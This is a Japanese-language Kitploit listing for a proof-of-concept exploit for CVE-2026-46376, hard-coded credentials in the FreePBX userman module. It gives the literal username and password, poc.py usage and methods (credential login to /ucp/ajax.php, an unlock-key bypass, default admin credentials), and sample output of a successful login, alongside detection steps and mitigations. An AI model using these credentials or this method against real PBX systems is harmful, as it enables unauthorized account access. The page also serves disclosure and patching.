Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-46376 — CVE-2026-46376 - FreePBX ハードコードされた認証情報による未認証のUCPアクセス | Kitploit
ツール/GitHubGitHub/portbuster1337/cve-2026-46376
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証論文と研究学習と教育
GitHubportbuster1337/cve-2026-46376

CVE-2026-46376

CVE-2026-46376 - FreePBX ハードコードされた認証情報による未認証のUCPアクセス

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-46376 — FreePBXのハードコードされた認証情報による未認証UCPアクセス

FreePBXのユーザー管理(userman)モジュールにおける重大な脆弱性により、未認証の攻撃者がUCP汎用テンプレートセットアッププロセス中に埋め込まれたハードコードされた認証情報を使用してユーザーコントロールパネル(UCP)にアクセスできるようになります。

CVSS v4.0: 9.1(重大) | CWE-798:ハードコードされた認証情報の使用

開示日:2026年5月15日 | 報告者:s0nnyWT

詳細

管理者がオプションのUCP汎用テンプレートセットアップ機能(2021年導入)を使用すると、FreePBXUCPTemplateCreatorというシステムユーザーがハードコードされた静的パスワードで作成されます。セットアップ後に管理者がこのパスワードを変更しなかった場合、ネットワーク上の未認証ユーザーは誰でもこの認証情報でUCPにログインできます。

フィールド値
ユーザー名FreePBXUCPTemplateCreator
パスワード1a2b3c@fd48jshs03123ld
ソースUserman.class.php — md5() を通過したパスワード
攻撃ベクトルネットワーク
複雑さ低
認証要件なし
ユーザー操作なし
前提条件管理者がUCP汎用テンプレートセットアップを実行している必要がある

注記: FreePBXUCPTemplateCreatorユーザーは、管理者が明示的にUCP汎用テンプレートセットアップ機能を実行した場合にのみ作成されます。このセットアップが実行されなかったシステムでは、影響を受けるバージョンを実行していても、このCVEによる悪用はできません。

影響を受けるバージョン

修正では、インストール/アップグレード時にbin2hex(random_bytes(24))を使用してパスワードをランダム化し、既存のテンプレート作成者のパスワードはアップグレード時に再生成されます。

PoCの使用法

root@kitploit:~
pip3 install requests
python3 poc.py <target_url>

オプション

root@kitploit:~
位置引数:
  target              ターゲットURL(例: http://192.168.1.100)

オプション引数:
  -h, --help          このヘルプメッセージを表示して終了
  --no-check          バージョンの事前チェックをスキップ
  --timeout TIMEOUT   リクエストのタイムアウト時間(秒)(デフォルト: 15)
  --method {creds,unlock,admin,all}
                      実行するエクスプロイト方法(デフォルト: all)
  -y, --yes           バージョンが範囲外でも自動続行

メソッド

  1. creds — ハードコードされた認証情報を使用してPOST /ucp/ajax.phpにmodule=User&command=loginでUCPにログインする
  2. unlock — ?unlockkey=&templateid=クエリパラメータを使用してアンロックキーバイパスを試行する
  3. admin — ACPで一般的なデフォルト管理者認証情報を試行する

例

root@kitploit:~
$ python3 poc.py http://192.168.1.100

============================================
  CVE-2026-46376 PoC - FreePBX UCP Access
  Target: http://192.168.1.100
============================================

[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible

============================================
  Exploitation
============================================

============================================
  Method 1: Hard-Coded UCP Credentials
============================================
    Username: FreePBXUCPTemplateCreator
    Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator

============================================
  Summary
============================================
Target is VULNERABLE

検出

システムが悪用可能かどうかを確認するために、PoCは認証情報とともにPOST /ucp/ajax.phpにmodule=User&command=loginでログインリクエストを送信します。{"status":true}の応答は、テンプレート作成者ユーザーが存在し、パスワードがまだデフォルトのままであることを示します。

{"status":false,"message":"Invalid Login Credentials"}という応答は、次のいずれかを意味します:

  • ユーザーが存在しない(テンプレートセットアップが実行されなかった)、または
  • パスワードがすでにローテーションされている

緩和策

  • usermanモジュールを16.0.45(FreePBX 16)または17.0.7(FreePBX 17)に更新する
  • 既存のUCPテンプレート認証情報を確認してローテーションする — パッチを適用しても、既にデプロイされたパスワードは遡及的には変更されません
  • FreePBXファイアウォールモジュールを使用して、ACP/UCPアクセスを信頼できるネットワークに制限する
  • 追加の認証レイヤーとしてMFAまたはSAMLを有効にする
  • アクティブなUCPセッションを監査して不正アクセスがないか確認する

免責事項

このPoCは教育および許可されたセキュリティテスト目的のみで提供されています。自分が所有していない、または明示的なテスト許可がないシステムに対する本エクスプロイトの不正使用は違法です。作成者は、本ツールの誤用または損害について一切の責任を負いません。

参考文献

  • GHSA-m55x-h47x-v3gx
  • NVD - CVE-2026-46376
  • FreePBX userman コミット(導入)
ツールをダウンロード
プラットフォームuserman モジュール影響あり修正済み
FreePBX 15—15.0.42+N/A
FreePBX 16userman≤ 16.0.4416.0.45
FreePBX 17userman≤ 17.0.617.0.7